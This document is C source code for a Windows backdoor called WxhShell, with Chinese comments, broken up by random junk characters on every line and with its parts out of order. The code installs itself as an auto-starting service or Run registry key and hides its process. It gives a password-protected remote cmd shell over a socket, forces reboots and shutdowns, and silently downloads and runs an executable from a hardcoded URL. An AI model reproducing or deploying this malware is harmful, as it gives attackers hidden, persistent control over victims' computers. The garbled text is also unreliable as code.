    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <Z b~tYp  
    if(Boot(SHUTDOWN)) m5c=h  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =&%}p[ 3g  
    else { nZtMF%j'  
    closesocket(wsh); aMU0BS"   
    ExitThread(0); \zCw&#D0Z  
    } G_ -8*.  
    break; <b JF&,  
    } ]1Wh3C  
  // 获取shell azK7kM~  
  case 's': { oz.#+t%X$b  
    CmdShell(wsh); JxP&znng  
    closesocket(wsh); L0lqm0h  
    ExitThread(0); j\hI, mc  
    break; Py@/\V  
  } $O'IbA  
  // 退出 .}n-N #  
  case 'x': { M6nQ17\{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?hC,49  
    CloseIt(wsh); -- >q=hlA  
    break; \iP=V3  
    } #fGI#]SG?  
  // 离开 <%Al(Lm0  
  case 'q': { #Sc9&DfX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !VDNqW  
    closesocket(wsh); rv?4S`Z,x$  
    WSACleanup(); {P {h|+;  
    exit(1); ;% <[*T:*'  
    break; -I0J-~#  
        } <jAn~=Uq[,  
  } saa3BuV 6  
  } 0h-'TJg*sk  
f1$'av  
  // 提示信息 pN4gHi=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); le|Rhs%Z%  
} C0gY  
  } ;5 p;i 8m  
71+ bn  
  return; oQiRjDLx  
} mHyT1e  
*'cyFu$  
// shell模块句柄 L$z(&%Nx  
int CmdShell(SOCKET sock) HO_!/4hrU  
{ ]3Y J a  
STARTUPINFO si; r"|UgCc  
ZeroMemory(&si,sizeof(si)); : i{tqY%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q?2Gw N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Q/jI$^h0Z  
PROCESS_INFORMATION ProcessInfo; `iN H`:[w  
char cmdline[]="cmd"; dKQu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2!_DkE  
  return 0; {)n@Rq\=v  
} 6z5wFzJv?q  
=D&XE*qkZ  
// 自身启动模式 /!'Png0!  
int StartFromService(void) YuUJgt .1  
{ Oz4vV_a&'  
typedef struct R > [2*o"  
{ TWM^5 L:U  
  DWORD ExitStatus; 7 <ZGNxZ~  
  DWORD PebBaseAddress; 7?;ZE:  
  DWORD AffinityMask; %i) 0sE T  
  DWORD BasePriority; x=03 WQ8  
  ULONG UniqueProcessId; PjP6^"  
  ULONG InheritedFromUniqueProcessId; " ?Ux\)*  
}   PROCESS_BASIC_INFORMATION; #p<(2wN  
tM|/OJ7  
PROCNTQSIP NtQueryInformationProcess; }` YtXD-o  
e>m+@4*sn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }X6w"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R"y xpw  
Pm]lr|Q{I  
  HANDLE             hProcess; h0 Xc=nj  
  PROCESS_BASIC_INFORMATION pbi; p}Um+I=1  
dZY|6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mT/^F{c  
  if(NULL == hInst ) return 0; +K s3  
h[;DRD!Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rk-G| 52g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {oS/Xa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); DX^8w?t  
;H3~r^>c  
  if (!NtQueryInformationProcess) return 0; <G0Ut6J>  
<KJ|U0/jGd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !+z&] S3s  
  if(!hProcess) return 0; $:yIe.F  
ma xpR>7`j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W!"Oho'  
1#*^+A E  
  CloseHandle(hProcess); }; R2M  
di(H-=9G62  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); k8!:`jG  
if(hProcess==NULL) return 0; k(M"k!M  
Q-B/SX)!/  
HMODULE hMod; GO.7IL{ {  
char procName[255]; jZQ{ XMF  
unsigned long cbNeeded; nly}ly Q/  
A9KPU:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w5yX~8UzJ  
E`.:V<KW/  
  CloseHandle(hProcess); `t\\O  
Fn0 |v66  
if(strstr(procName,"services")) return 1; // 以服务启动 s)?GscPG!  
x+TdTe;p  
  return 0; // 注册表启动 /bn$@Cy@  
} &^w "  
z7z9lDS  
// 主模块 ;W|GUmADf  
int StartWxhshell(LPSTR lpCmdLine) t>OEzUd9  
{ Q3Z?Z;2aR  
  SOCKET wsl; LqO=wK~  
BOOL val=TRUE; f~,Ml*Zp  
  int port=0; /MMnW$)  
  struct sockaddr_in door; zC*dJXt@  
XZS%az1%  
  if(wscfg.ws_autoins) Install(); U<r!G;^`  
9KB}?~Nx4  
port=atoi(lpCmdLine); |3~]XN-  
CbXSJDs  
if(port<=0) port=wscfg.ws_port; :P ]D`b6p  
p5py3k  
  WSADATA data; GIT"J}b}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,6#%+u}f  
o~W,VhCP  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LitdO>%#2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6xA xLZz<  
  door.sin_family = AF_INET; %pH|2VB#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u.G aMl4 (  
  door.sin_port = htons(port); 2#00<t\  
$iMLT8U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SSbx[<E3  
closesocket(wsl); l@1=./L?  
return 1; Q, "8Ty  
} X&| R\v=}  
DajN1}]  
  if(listen(wsl,2) == INVALID_SOCKET) { /2hRL yeAZ  
closesocket(wsl); ZR-64G=L,  
return 1; h@'CmIZc  
} KK5_;<  
  Wxhshell(wsl); Ycx}FYTY  
  WSACleanup(); mhOgv\?  
2`%a[t@M.  
return 0; AlG5n'  
*W^a<Zm8>  
} %rgW}Z5  
QSn18V>{  
// 以NT服务方式启动 ywkRH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wr=K AsH<  
{ Owgy<@C  
DWORD   status = 0; 4eG\>#5  
  DWORD   specificError = 0xfffffff; ~t/i0pKq.  
RHpjJZUV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g]c6_DMfb1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; lN8l71N^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; '-J<ib t  
  serviceStatus.dwWin32ExitCode     = 0; $+ N~Fa  
  serviceStatus.dwServiceSpecificExitCode = 0; _ h1eW9q  
  serviceStatus.dwCheckPoint       = 0;  UBj&T^j  
  serviceStatus.dwWaitHint       = 0; >}Bcv%zZ  
u<N`;s  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); E/wxX#]\  
  if (hServiceStatusHandle==0) return; Iu~<Y(8^q#  
NI.ROk1{+4  
status = GetLastError(); 7jQVm{{.  
  if (status!=NO_ERROR) $$W2{vr7+  
{ l 9g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6,M$TA  
    serviceStatus.dwCheckPoint       = 0; z}.6yHS  
    serviceStatus.dwWaitHint       = 0; [^bq?w  
    serviceStatus.dwWin32ExitCode     = status; Q-F$Ryj^  
    serviceStatus.dwServiceSpecificExitCode = specificError; NP.i,H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); z$}9f*W}B  
    return; sf[|8}(  
  } H?M:<q0|G  
MP<]-M'|<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^k$Bx_{  
  serviceStatus.dwCheckPoint       = 0; #"?pY5 ("  
  serviceStatus.dwWaitHint       = 0; ]W4{|%@H"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9wGsHf8]  
} %n8CK->  
Jc}6kFgO6  
// 处理NT服务事件,比如:启动、停止 aPK:k$.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) K|$ c#X  
{ JC-> eY"O2  
switch(fdwControl) D)DD6  
{ Skr0WQ  
case SERVICE_CONTROL_STOP:  bKK'U4  
  serviceStatus.dwWin32ExitCode = 0; W2fcY;HZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $F9w0kz:,*  
  serviceStatus.dwCheckPoint   = 0; XzX2V">(%  
  serviceStatus.dwWaitHint     = 0; :@"o.8p   
  { `H>&d K|/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Uf ]$I`T#  
  } }!>\Ja<\  
  return; $d])>4eQ  
case SERVICE_CONTROL_PAUSE: m ie~. "  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VS ;y  
  break; im9EV|;  
case SERVICE_CONTROL_CONTINUE: K@xMPB8in  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; w+)wrJTtm  
  break; (|o @  
case SERVICE_CONTROL_INTERROGATE: '0 )`.  
  break; GD d'{qE6  
}; }cGILH%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vO&X<5?Qc  
} \v\ONp"  
rr\9HA  
// 标准应用程序主函数 +v5f-CBu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hCF_pt+  
{ ("j;VqYUL  
n7~4*B  
// 获取操作系统版本 E'D16Rhp  
OsIsNt=GetOsVer(); &v1E)/q{Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1y6<gptx  
^E\n^D-RV  
  // 从命令行安装 NF4(+E9g  
  if(strpbrk(lpCmdLine,"iI")) Install(); ohyq/u+y~A  
,30lu a  
  // 下载执行文件 0-{E% k  
if(wscfg.ws_downexe) { IBeorDIZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V#.pi zb  
  WinExec(wscfg.ws_filenam,SW_HIDE); T+EwC)Ll  
} %3TioM[B  
=-/'$7R,  
if(!OsIsNt) { oq,nfUA  
// 如果时win9x,隐藏进程并且设置为注册表启动 <oT1&C{  
HideProc(); L>E;cDB  
StartWxhshell(lpCmdLine); K;rgLj0m  
} dZf1iFCP  
else j7a }<\  
  if(StartFromService()) YU+P+m2X  
  // 以服务方式启动 ;Gn>W+Ae M  
  StartServiceCtrlDispatcher(DispatchTable); X[$|I9  
else 6'e^np  
  // 普通方式启动 >b9J!'G,(  
  StartWxhshell(lpCmdLine); nHDKe )V  
5[B)U">]  
return 0; D*VO;?D  
} "K9[P :nw  
{g`!2"  
>?ar  
m{Uh{G$  
=========================================== sKKc_H3YSH  
ZnAQO3%y  
&J|I&p   
?q Q.Wj6Mj  
toPFkc6`  
!T:7xEr  
" J"GsdLG.-  
0[<' ygu  
#include <stdio.h> h`O$L_Z  
#include <string.h> hS &H*  
#include <windows.h> %uV,p!| )  
#include <winsock2.h> j x< <h _j  
#include <winsvc.h> 3_boEYl0  
#include <urlmon.h> Ei+lVLoC  
JzCkVF$  
#pragma comment (lib, "Ws2_32.lib") CKe72OC  
#pragma comment (lib, "urlmon.lib") \r{wNqyv  
HGh)d` 8  
#define MAX_USER   100 // 最大客户端连接数 lf KV%  
#define BUF_SOCK   200 // sock buffer >c Tt2v  
#define KEY_BUFF   255 // 输入 buffer [N%InsA9k  
tP2.D:( R  
#define REBOOT     0   // 重启 W=+AU!%  
#define SHUTDOWN   1   // 关机 @cxM#N8e  
>j ].`T  
#define DEF_PORT   5000 // 监听端口 <6hs<qXqi  
^{0*?,-x  
#define REG_LEN     16   // 注册表键长度 b5jD /X4  
#define SVC_LEN     80   // NT服务名长度 U Rq9:{  
,-k?"|tQ  
// 从dll定义API QZ7W:%r(4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %yKcp5_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;QCGl$8A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); vlDA/( &  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @V1FBw9S!@  
]{{%d4  
// wxhshell配置信息 uX{g4#eG  
struct WSCFG { Y:Lkh>S1Q  
  int ws_port;         // 监听端口 7TypzgXNe  
  char ws_passstr[REG_LEN]; // 口令 fMW=ss^fu-  
  int ws_autoins;       // 安装标记, 1=yes 0=no zT/woiyB`  
  char ws_regname[REG_LEN]; // 注册表键名 1g,gilc  
  char ws_svcname[REG_LEN]; // 服务名 r]QeP{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G\k&s F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yU7XX+cB7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =Ov,7<8o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j1+I_   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {(F}SF{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {IBbN05 ;  
eej#14 &  
}; /Hm/%os  
;BWWafZ  
// default Wxhshell configuration e,#5I(E  
struct WSCFG wscfg={DEF_PORT, HJ"sK5Q  
    "xuhuanlingzhe", p`U#  
    1, Tb:'M:dM"  
    "Wxhshell", :AuKQ`c  
    "Wxhshell", 9T`YHA'g  
            "WxhShell Service", :c )R6=v  
    "Wrsky Windows CmdShell Service", @RoU   
    "Please Input Your Password: ", ^n4aoj  
  1, [6.<#_~{  
  "http://www.wrsky.com/wxhshell.exe", k!+v*+R+V  
  "Wxhshell.exe" X ) =-a  
    }; =R9`to|  
c1*^ \   
// 消息定义模块 Z.aeE*Hs$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $mf6!p4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PqyR,Bcx0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; fG.6S"|M  
char *msg_ws_ext="\n\rExit."; E J6|y'  
char *msg_ws_end="\n\rQuit."; L!ms{0rJ  
char *msg_ws_boot="\n\rReboot..."; o(3OChH  
char *msg_ws_poff="\n\rShutdown..."; 8zJye6f;l  
char *msg_ws_down="\n\rSave to "; ^tjM1uaZ5(  
>k/ rJ[Sc  
char *msg_ws_err="\n\rErr!"; 'q8:1i9\[  
char *msg_ws_ok="\n\rOK!"; 7vGAuTfi/@  
yB;K|MXy?  
char ExeFile[MAX_PATH]; w5Ucj*A\  
int nUser = 0; #xhl@=W;  
HANDLE handles[MAX_USER]; w>RwEU+w=@  
int OsIsNt; uBM%E OE  
f=4q]y#& X  
SERVICE_STATUS       serviceStatus; kO/;lrwC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !|"LAr9u  
\C1`F [d_  
// 函数声明 -Zg@#H  
int Install(void); S^i<_?nwg  
int Uninstall(void); 3%N!omAe  
int DownloadFile(char *sURL, SOCKET wsh); 5'(#Sf  
int Boot(int flag); L9z5o(Aa  
void HideProc(void); `n e9&+  
int GetOsVer(void); :pP l|"  
int Wxhshell(SOCKET wsl); _]+ \ B  
void TalkWithClient(void *cs); >lO]/3j1  
int CmdShell(SOCKET sock); P&Hhq>@Z  
int StartFromService(void); 0qN?4h)7  
int StartWxhshell(LPSTR lpCmdLine); 6ZGw 3p)  
+/#Lm#*nu%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >T29kgF2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %w/:mH3FA  
!OR %AdxB  
// 数据结构和表定义 a 0qDRB  
SERVICE_TABLE_ENTRY DispatchTable[] = R&L^+?  
{ gvxOo#8]  
{wscfg.ws_svcname, NTServiceMain}, \!r,>P   
{NULL, NULL} `u;4Z2Lr0  
}; rPJbbV",+^  
8d>>r69$pa  
// 自我安装 /JP%gD"8  
int Install(void) F8*P/<P1cK  
{ ;5aAnvgW  
  char svExeFile[MAX_PATH]; sYyya:ykxT  
  HKEY key; B%Z,Xjq  
  strcpy(svExeFile,ExeFile); io4/M<6<  
&8Oy*'  
// 如果是win9x系统,修改注册表设为自启动 {UOR_Vt!*  
if(!OsIsNt) { f\vg<lca  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Sh o] ~)XX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hl*/s  
  RegCloseKey(key); uhr&P4EW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /m*+N9)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6^Ax3# q  
  RegCloseKey(key); f`,isy[  
  return 0; ZfWF2%]<  
    } jb!15Vlt"  
  }  DE14dU  
} 83gp'W{|  
else { J [ 4IO  
K<D=QweOon  
// 如果是NT以上系统,安装为系统服务 9uA2M!~i2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~HyqHx y  
if (schSCManager!=0) Hd0?}w\  
{ L[p[m~HjG^  
  SC_HANDLE schService = CreateService dW2Lvnh!>/  
  ( 'wP\VCL2>  
  schSCManager, ADVHi3b  
  wscfg.ws_svcname, )\Ay4 d  
  wscfg.ws_svcdisp, .VfBwTh7q8  
  SERVICE_ALL_ACCESS, RS1c+]rr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F\hU V[  
  SERVICE_AUTO_START, Zjkrne{  
  SERVICE_ERROR_NORMAL, #~>ykuq  
  svExeFile, *mj3  T  
  NULL, [(4s\c  
  NULL, \>GHc}  
  NULL, *[O)VkL\%i  
  NULL, v6_fF5N/  
  NULL K\vyfYi  
  ); fp2.2 @[  
  if (schService!=0) x $ oId{;  
  { v d}Y$X  
  CloseServiceHandle(schService); u'Ua ++a\  
  CloseServiceHandle(schSCManager); 1me16 5y<B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |oI]  
  strcat(svExeFile,wscfg.ws_svcname); ,Z6\%:/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { OKp0@A)8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); auV<=1<zJ  
  RegCloseKey(key); ;wvhe;!  
  return 0; 4! V--F  
    } 9Jhc5G  
  } NU?05sF  
  CloseServiceHandle(schSCManager); BK16~Wl  
} wnoL<p  
} ,8MUTXd@ V  
:#=XT9  
return 1; 1'{A,!  
} op]HF4  
n_X)6 s  
// 自我卸载 !uJD hC  
int Uninstall(void) */JMPw&  
{ b _#r_`  
  HKEY key; bx&?EUx+b  
gnPu{-Ec*  
if(!OsIsNt) { bzt(;>_8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o> i`Jq&  
  RegDeleteValue(key,wscfg.ws_regname); *[^[!'kT&  
  RegCloseKey(key); 9e*v&A2Y'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vUU)zZB ~  
  RegDeleteValue(key,wscfg.ws_regname); ui\yY3?  
  RegCloseKey(key); SZ[ ,(h  
  return 0; <+wbnnK  
  } )LP=IT  
} ;m[-yqX  
}  ;Iu}Q-b*  
else { %kRQ9I".  
yRt>7'@X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @d]a#ypU  
if (schSCManager!=0) r(#]Z   
{ *$eMM*4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <:rbK9MIl  
  if (schService!=0) RZ#~^5DiO  
  { O*8 .kqlgt  
  if(DeleteService(schService)!=0) { Z+*t=?L,,G  
  CloseServiceHandle(schService); L\u6EMyV  
  CloseServiceHandle(schSCManager); SQ_w~'(  
  return 0; !\ckUMZ\  
  } CPto?=*A  
  CloseServiceHandle(schService); ?!4xtOA  
  } y@'m D*z  
  CloseServiceHandle(schSCManager); };z[x2l^  
} ]N\J~Gm  
} drr n&y  
EqV]/0-\  
return 1; <oc"!c;T  
} |H LU5=Y  
]26 Q*.1~  
// 从指定url下载文件 #BK3CD(&  
int DownloadFile(char *sURL, SOCKET wsh) ^s_BY+#  
{ $T)EJe  
  HRESULT hr; F"k.1.  
char seps[]= "/"; bh9!OqK9K  
char *token; 9F&s9(=\  
char *file; 9HjtWQn  
char myURL[MAX_PATH]; -f+U:/'.>v  
char myFILE[MAX_PATH]; 1m52vQSo3l  
_h=kjc}[.O  
strcpy(myURL,sURL); 1${lHVx]  
  token=strtok(myURL,seps); eiNF?](3O  
  while(token!=NULL) \,b@^W6e>  
  {  yO7xAb  
    file=token; Z;nbnRz  
  token=strtok(NULL,seps); a2{ nrGD  
  } |)7dh B  
] X9e|  
GetCurrentDirectory(MAX_PATH,myFILE); mkR1iY  
strcat(myFILE, "\\"); I(cy<ey+e  
strcat(myFILE, file); :2qUel\PEC  
  send(wsh,myFILE,strlen(myFILE),0); HH\6gs]u  
send(wsh,"...",3,0); %(c5T)B9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [%8t~zg  
  if(hr==S_OK) xS4B"/  
return 0; NaR/IsN8%  
else <rO0t9OH  
return 1; HW{si]~q  
`YZK$ -,  
} $qoh0$  
(#dwIBBFt  
// 系统电源模块 .3{PgrZ  
int Boot(int flag) /G zA89N(  
{ Slk__eC  
  HANDLE hToken; 5BL4VGwJ  
  TOKEN_PRIVILEGES tkp; %[x oA)0!  
AE_7sM  
  if(OsIsNt) { | JmEI9n2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RjII(4Et  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HG1)q\Xd  
    tkp.PrivilegeCount = 1; jkPye{j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; qhKW6v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AI$r^t1  
if(flag==REBOOT) { EXdx$I=X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lw.4O^  
  return 0; 0>  
} r[>=iim  
else { m.F \Mn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i; 8""A  
  return 0; [hLSK-K 9  
} MOiTz L*  
  } mSw$? >  
  else {  #E[{  
if(flag==REBOOT) { ewo1^&#>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?0v(_ v  
  return 0; $.a4Og2  
} tWs ]Zd  
else { i\2d1Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) % R18  
  return 0; X1 A~#w>  
} &\3k(j  
} !>~W5c^  
U]Iypl`l  
return 1; 9WXJz;  
} QKj-"y[  
[k"@n+%  
// win9x进程隐藏模块 >dnH  
void HideProc(void) ?w{lC,  
{ 6ty>0  
a(+.rf;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?s4-2g  
  if ( hKernel != NULL ) Y9b|lP7!  
  { =%p%+F@RlW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &P+7Um(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eR'Df" +  
    FreeLibrary(hKernel); "bO\Wt#Mf  
  } 8Ol#-2>k$  
dQ4VpR9|;  
return; -&PiD  
} CM}1:o<<N  
8hx4s(1!  
// 获取操作系统版本 !"*!du28jo  
int GetOsVer(void) K`=O!;  
{ 2v ^bd^]u:  
  OSVERSIONINFO winfo; WaU+ZgDrG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <,U=w[cH  
  GetVersionEx(&winfo); +*dG 'U6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RUJkfi=$  
  return 1; l 8I`%bu  
  else RC_w 1:h  
  return 0; KO`ftz3 +  
} (x} >tm  
_l?InNv  
// 客户端句柄模块 `>M-J-J  
int Wxhshell(SOCKET wsl) &RRHmJI:  
{ kz|2PP  
  SOCKET wsh; XcOfQ s  
  struct sockaddr_in client; OH`| c  
  DWORD myID; 4)L(41h  
<qG4[W,[  
  while(nUser<MAX_USER) C- Aiv@@<=  
{ ]*I:N  
  int nSize=sizeof(client); wVSM\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hT `kma  
  if(wsh==INVALID_SOCKET) return 1; 3 ;M7^DM  
.Dn.|A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6jv_j[[  
if(handles[nUser]==0) v-zi ,]W  
  closesocket(wsh); 6#A g^A  
else yc4?'k!  
  nUser++; R+'$V$g\X  
  } F`/-Q>Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^SP/&w<c  
tDWW 4H  
  return 0; _a;E>   
} ^*CvKCS  
Y7W xV>E  
// 关闭 socket F32N e6Y6"  
void CloseIt(SOCKET wsh) N_dHPa  
{ $uw[X  
closesocket(wsh); 6f"jl  
nUser--; !Zo we*`  
ExitThread(0); :O`7kZ]=n  
} s}2TJa  
@ |bN[XL  
// 客户端请求句柄 ;yfKYN[  
void TalkWithClient(void *cs) ^$8@B]*  
{ p~Tp=d)/  
pbfIO47ZC  
  SOCKET wsh=(SOCKET)cs; o!R.QI^2VT  
  char pwd[SVC_LEN]; w %4SNR  
  char cmd[KEY_BUFF]; 75@!j[QL<  
char chr[1]; |l4tR  
int i,j; bjn: e!}  
8Zj=:;  
  while (nUser < MAX_USER) { 9((BOq  
,;3bPjey  
if(wscfg.ws_passstr) { A -C.Bi;/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F$L2bgQR?'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Nk.m$  
  //ZeroMemory(pwd,KEY_BUFF); OyI?P_0u  
      i=0;  ?cG~M|@  
  while(i<SVC_LEN) { d=` a-R0  
v'Y0|9c  
  // 设置超时 \,UpFuU\  
  fd_set FdRead; uDtml$9rN  
  struct timeval TimeOut; pUc N-WA  
  FD_ZERO(&FdRead); /KU9sIE;  
  FD_SET(wsh,&FdRead); /"(`oe<  
  TimeOut.tv_sec=8; M =/+q  
  TimeOut.tv_usec=0; JfOBZQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FUt{-H!<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a+HGlj 2>  
_GhP{ C$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); { l E\y9  
  pwd=chr[0]; L3/SIoqd  
  if(chr[0]==0xd || chr[0]==0xa) { Kw%to9 eh)  
  pwd=0; 9"W3t]  
  break; M]Kx g;  
  } ~U;M1>  
  i++; f|v5i tO2  
    } &i(\g7%U  
5dvP~sw  
  // 如果是非法用户,关闭 socket {PGiNY%q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mNII-X G  
} 1"\^@qRv#  
?&`PN<~2z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +g9C klJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]$7yB3S,B  
.](~dVp%~  
while(1) { s![Di  
}5Zmc6S{  
  ZeroMemory(cmd,KEY_BUFF); euMJ c  
A"3"f8P8a  
      // 自动支持客户端 telnet标准   [g/ &%n0^  
  j=0; Q4Zw<IZv5  
  while(j<KEY_BUFF) { Y 9}ga4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); g1H$wU3eu  
  cmd[j]=chr[0]; MaS-*;BY,  
  if(chr[0]==0xa || chr[0]==0xd) { iW?z2%#  
  cmd[j]=0; eqY8;/  
  break; L eu93f2  
  } qNuBK6E#4  
  j++; 20,}T)}Tm  
    } Q)/oU\  
TWeup6k  
  // 下载文件 1F' x$~ZI  
  if(strstr(cmd,"http://")) { u2E}DhV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;u?L>(b  
  if(DownloadFile(cmd,wsh)) 9dO. ,U*`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5M&<tj/[a0  
  else {9XN\v=$"*  
